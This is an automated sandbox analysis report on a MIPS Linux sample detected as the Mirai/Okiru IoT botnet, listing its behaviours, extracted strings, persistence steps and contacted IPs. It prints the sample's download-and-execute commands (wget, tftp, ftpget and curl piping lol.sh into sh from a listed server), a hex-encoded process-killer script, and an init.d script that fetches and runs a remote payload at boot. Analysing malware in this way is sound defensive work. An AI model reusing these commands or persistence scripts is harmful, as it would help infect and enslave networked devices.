Linux Analysis Report
mipsel.nn.elf

Overview

General Information

Sample name: mipsel.nn.elf
Analysis ID: 1561670
MD5: 0564e72a72bb8ecfea0840e4c84bcd2b
SHA1: a482be5d81b4590388139c4283f12d09a6df3af5
SHA256: 2719e28bfe2832cb00f9cdb18cea5483e26b33b9a01ad94edcc0aa70e44c779d
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mipsel.nn.elf Avira: detected
Found strings indicative of a multi-platform dropper
Source: mipsel.nn.elf String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: mipsel.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40280 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:59520 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/mipsel.nn.elf (PID: 5432) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 85.80.253.185
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 203.81.202.96
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 182.29.149.219
Source: unknown TCP traffic detected without corresponding DNS query: 62.98.47.254
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 203.83.253.91
Source: unknown TCP traffic detected without corresponding DNS query: 85.80.253.185
Source: unknown TCP traffic detected without corresponding DNS query: 157.65.63.215
Source: unknown TCP traffic detected without corresponding DNS query: 5.4.245.250
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 207.31.168.79
Source: unknown TCP traffic detected without corresponding DNS query: 203.81.202.96
Source: unknown TCP traffic detected without corresponding DNS query: 182.29.149.219
Source: unknown TCP traffic detected without corresponding DNS query: 18.19.17.21
Source: unknown TCP traffic detected without corresponding DNS query: 62.98.47.254
Source: unknown TCP traffic detected without corresponding DNS query: 40.209.206.34
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 203.83.253.91
Source: unknown TCP traffic detected without corresponding DNS query: 157.65.63.215
Source: unknown TCP traffic detected without corresponding DNS query: 5.4.245.250
Source: mipsel.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, mipsel.nn.elf.36.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: mipsel.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: mipsel.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: mipsel.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresha
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/mipsel.nn.elf (PID: 5446) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5446) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5446) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5446) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5446) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5446) SIGKILL sent: pid: 5489, result: successful Jump to behavior
Source: classification engine Classification label: mal80.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/mipsel.nn.elf (PID: 5432) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/mipsel.nn.elf (PID: 5432) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5516) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5542) File: /etc/rc.d/S99mipsel.nn.elf -> /etc/init.d/mipsel.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/mipsel.nn.elf (PID: 5432) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5510) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5530) File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5690/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5680/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5691/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5681/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5692/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5275/cmdline Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5682/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5693/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5683/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5694/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5684/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5695/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5685/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5686/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5687/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5688/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5689/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5646/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5647/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5648/status Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5569) File opened: /proc/5649/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mipsel.nn.elf (PID: 5459) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5504) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5511) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5518) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mipsel.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mipsel.nn.elf'\n /tmp/mipsel.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mipsel.nn.elf'\n killall mipsel.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mipsel.nn.elf" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5525) Shell command executed: sh -c "chmod +x /etc/init.d/mipsel.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5531) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/mipsel.nn.elf (PID: 5537) Shell command executed: sh -c "ln -s /etc/init.d/mipsel.nn.elf /etc/rc.d/S99mipsel.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5510) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5530) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mipsel.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5536) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5482) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/mipsel.nn.elf (PID: 5432) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5510) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5530) File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/mipsel.nn.elf (PID: 5432) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/mipsel.nn.elf (PID: 5432) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5518) Writes shell script file to disk with an unusual file extension: /etc/init.d/mipsel.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/mipsel.nn.elf (PID: 5432) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5518) File: /etc/init.d/mipsel.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mipsel.nn.elf (PID: 5432) Queries kernel information via 'uname': Jump to behavior
Source: mipsel.nn.elf, 5432.1.000055a032f24000.000055a032fcb000.rw-.sdmp, mipsel.nn.elf, 5446.1.000055a032f24000.000055a032fcb000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mipsel.nn.elf, 5446.1.00007f3c88464000.00007f3c88468000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8gFXiF
Source: mipsel.nn.elf, 5432.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp, mipsel.nn.elf, 5446.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: mipsel.nn.elf, 5446.1.000055a032f24000.000055a032fcb000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: mipsel.nn.elf, 5432.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp, mipsel.nn.elf, 5446.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mipsel.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mipsel.nn.elf
Source: mipsel.nn.elf, 5432.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.wBeTqY\t
Source: mipsel.nn.elf, 5432.1.000055a032f24000.000055a032fcb000.rw-.sdmp, mipsel.nn.elf, 5446.1.000055a032f24000.000055a032fcb000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: mipsel.nn.elf, 5446.1.000055a032f24000.000055a032fcb000.rw-.sdmp Binary or memory string: U!/usr/bin/vmtoolsd
Source: mipsel.nn.elf, 5432.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp, mipsel.nn.elf, 5446.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp Binary or memory string: panel/wrapper-2./qemu-open.XXXXX
Source: mipsel.nn.elf, 5432.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp, mipsel.nn.elf, 5446.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
Source: mipsel.nn.elf, 5432.1.00007fffdcb2c000.00007fffdcb4d000.rw-.sdmp Binary or memory string: /tmp/qemu-open.wBeTqY

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 5446.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 5446.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mipsel.nn.elf PID: 5432, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mipsel.nn.elf PID: 5446, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 5446.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: mipsel.nn.elf, type: SAMPLE
Source: Yara match File source: 5446.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5432.1.00007f3c88400000.00007f3c88423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: mipsel.nn.elf PID: 5432, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mipsel.nn.elf PID: 5446, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
71.170.125.212
 unknown United States
5650 FRONTIER-FRTRUS false
195.36.27.107
 unknown Italy
5392 TELNET-ITALYTELNETSrlIT false
80.77.3.181
 unknown United Kingdom
15412 FLAG-ASFlagTelecomGlobalInternetASGB false
173.125.90.235
 unknown United States
10507 SPCSUS false
77.186.27.128
 unknown Germany
6805 TDDE-ASN1DE false
50.225.232.198
 unknown United States
7922 COMCAST-7922US false
86.75.3.155
 unknown France
15557 LDCOMNETFR false
96.44.232.52
 unknown Canada
21724 RADIANT-TORONTOCA false
171.180.89.91
 unknown United States
9874 STARHUB-MOBILEStarHubLtdSG false
171.52.209.61
 unknown India
9874 STARHUB-MOBILEStarHubLtdSG false
190.156.91.157
 unknown Colombia
10620 TelmexColombiaSACO false
158.249.52.25
 unknown Hungary
29695 ALTIBOX_ASNorwayNO false
207.105.12.31
 unknown United States
7018 ATT-INTERNET4US false
200.133.32.22
 unknown Brazil
1916 AssociacaoRedeNacionaldeEnsinoePesquisaBR false
46.215.221.242
 unknown Poland
8374 PLUSNETPlusnetworkoperatorinPolandPL false
158.194.112.170
 unknown Czech Republic
2852 CESNET2CZ false
138.39.17.157
 unknown United States
786 JANETJiscServicesLimitedGB false
132.202.100.180
 unknown Canada
10754 GOV-FRB-BOGUS false
192.37.163.178
 unknown Switzerland
35041 NET-BINERO-STHLM1SE false
131.60.101.52
 unknown United States
385 AFCONC-BLOCK1-ASUS false
59.248.153.124
 unknown China
2516 KDDIKDDICORPORATIONJP false
16.73.22.161
 unknown United States
unknown unknown false
139.8.67.219
 unknown Germany
9905 LINKNET-ID-APLinknetASNID false
39.78.72.122
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
129.114.1.16
 unknown United States
32093 TACCNETUS false
167.185.88.34
 unknown United States
15071 BAX-BGPUS false
76.43.142.13
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
164.51.253.254
 unknown United States
8103 STATE-OF-FLAUS false
120.235.242.180
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
97.115.102.110
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
185.188.121.235
 unknown Germany
43341 MDLINKMDlinkonlineservicecenterGmbHDE false
148.98.5.43
 unknown United States
396982 GOOGLE-PRIVATE-CLOUDUS false
11.217.195.48
 unknown United States
3356 LEVEL3US false
89.39.59.65
 unknown Spain
15704 AS15704ES false
183.37.182.252
 unknown China
4816 CHINANET-IDC-GDChinaTelecomGroupCN false
188.65.5.8
 unknown Italy
12906 DELTATRE-ASIT false
108.252.101.191
 unknown United States
7018 ATT-INTERNET4US false
56.0.116.223
 unknown United States
5774 USPS-001US false
199.17.89.139
 unknown United States
675 MSUS-ASUS false
140.106.144.13
 unknown United States
32178 SCC-ASN-31004US false
96.84.167.35
 unknown United States
7922 COMCAST-7922US false
130.53.49.210
 unknown United States
385 AFCONC-BLOCK1-ASUS false
182.7.19.170
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
126.225.187.220
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
99.157.127.65
 unknown United States
7018 ATT-INTERNET4US false
204.158.66.105
 unknown United States
3354 THENET-AS-3354US false
53.164.148.158
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
58.78.106.125
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
86.84.183.98
 unknown Netherlands
1136 KPNKPNNationalEU false
14.45.182.230
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
115.35.181.58
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
200.56.140.193
 unknown Mexico
13999 MegaCableSAdeCVMX false
204.93.3.158
 unknown United States
698 ASN-UIUC-REGION-ASUS false
203.148.93.32
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
176.84.188.39
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
90.176.248.93
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
55.126.74.127
 unknown United States
326 DNIC-ASBLK-00306-00371US false
206.95.8.219
 unknown United States
3549 LVLT-3549US false
119.87.176.238
 unknown China
134420 CHINATELECOM-CHONGQING-IDCChongqingTelecomCN false
139.159.22.101
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
52.178.243.172
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
213.148.118.134
 unknown Germany
57537 NETDSIGN-ASDE false
178.218.134.98
 unknown Romania
50835 IFUTURERO false
119.39.75.203
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
152.198.142.143
 unknown United States
1326 ANSBB-ASNNET-1US false
152.35.73.195
 unknown United States
81 NCRENUS false
207.55.93.224
 unknown United States
26518 RTINETUS false
204.229.246.34
 unknown United States
397285 CAMBRIDGETELEPHONECOUS false
190.73.110.19
 unknown Venezuela
8048 CANTVServiciosVenezuelaVE false
91.236.252.248
 unknown Russian Federation
198592 SVIR-TELECOM-ASRU false
168.70.16.110
 unknown Hong Kong
4760 HKTIMS-APHKTLimitedHK false
17.199.254.245
 unknown United States
714 APPLE-ENGINEERINGUS false
47.177.131.10
 unknown United States
5650 FRONTIER-FRTRUS false
85.40.151.151
 unknown Italy
3269 ASN-IBSNAZIT false
182.188.125.29
 unknown Pakistan
45595 PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK false
35.251.46.81
 unknown United States
3549 LVLT-3549US false
199.68.111.184
 unknown United States
46685 MURPHY-CATVUS false
194.87.116.166
 unknown Russian Federation
9002 RETN-ASEU false
208.255.109.248
 unknown United States
11486 COLO-PREM-VZBUS false
59.220.215.52
 unknown China
2516 KDDIKDDICORPORATIONJP false
108.243.241.193
 unknown United States
7018 ATT-INTERNET4US false
125.172.219.246
